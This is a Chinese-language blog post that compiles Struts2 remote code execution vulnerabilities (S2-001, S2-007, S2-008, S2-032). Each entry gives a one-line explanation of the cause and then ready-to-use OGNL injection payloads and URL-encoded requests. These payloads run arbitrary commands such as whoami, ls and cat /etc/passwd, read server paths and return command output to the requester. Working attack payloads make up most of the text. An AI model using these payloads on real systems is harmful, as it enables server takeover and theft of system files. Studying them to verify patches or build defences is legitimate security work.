• struts2远程代码执行漏洞汇总整理


    一、S2-001

    1、漏洞原理

    在默认配置下,如果用户所提交的表单出现验证错误,后端会对用户的输入进行解析处理,然后返回并显示处理结果。 举个例子,当你提交的登录表单为username=xishir&password=%{1+1}时,后端验证登录失败后会返回登录界面并显示你的输入,这时password字段中的OGNL表达式已经被解析处理过了,所以会显示%{1+1}的解析结果2,从而可以构造payload进行RCE。

    2、POC

    获取tomcat执行路径:
    %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
    获取Web路径:
    %{
    #req=@org.apache.struts2.ServletActionContext@getRequest(),
    #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
    #response.println(#req.getRealPath('/')),
    #response.flush(),
    #response.close()
    }
    执行任意命令:
    %{
    #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
    #b=#a.getInputStream(),
    #c=new java.io.InputStreamReader(#b),
    #d=new java.io.BufferedReader(#c),
    #e=new char[50000],
    #d.read(#e),
    #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
    #f.getWriter().println(new java.lang.String(#e)),
    #f.getWriter().flush(),#f.getWriter().close()
    }
    执行任意命令时,如果所执行的命令需要组合,则将上述 payload 改为:
    %{
    #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
    #b=#a.getInputStream(),
    #c=new java.io.InputStreamReader(#b),
    #d=new java.io.BufferedReader(#c),
    #e=new char[50000],
    #d.read(#e),
    #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
    #f.getWriter().println(new java.lang.String(#e)),
    #f.getWriter().flush(),#f.getWriter().close()
    }

    二、S2-007

    1、漏洞原理

    如下age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞。

     2、POC

    命令加参数:getRuntime().exec(‘cat /etc/passwd’)

    ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /etc/passwd').getInputStream())) + '

     

    三、S2-008

    1、漏洞原理

     cookiename没有做特殊字符的限制,会被当作ognl代码执行;debug调试模式,直接传入ongl表达式执行。

    2、POC

    /devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat /etc/passwd%27%29.getInputStream%28%29%29)

     

    S2-032

    1、漏洞原理

    此次漏洞存在于struts2的动态方法引用功能。只要在struts2配置文件中开启该功能,就可能被利用。

    <constant name=”struts.enable.DynamicMethodInvocation” value=”true” />

    如果我们请求http://localhost/index.action?method:OGNL的情况下,请求的OGNL表达式会被执行,造成命令执行。

    2、POC

    http://127.0.0.1/memoindex.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter().print(%23parameters.content[0]%2b602%2b53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086


    cmd后面是要执行的命令

    http://127.0.0.1/memoindex.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ls

    三、

  • 相关阅读:
    法正(25):劝降
    单例模式
    Redis学习笔记(六)---List
    canvas的使用
    HTML5的新特性
    html学习笔记一
    matlab无法使用
    Hadoop笔记(一)
    PL/SQL笔记(一)
    Oracle数据库(二)
  • 原文地址:https://www.cnblogs.com/Eleven-Liu/p/9112553.html
Copyright © 2020-2023  润新知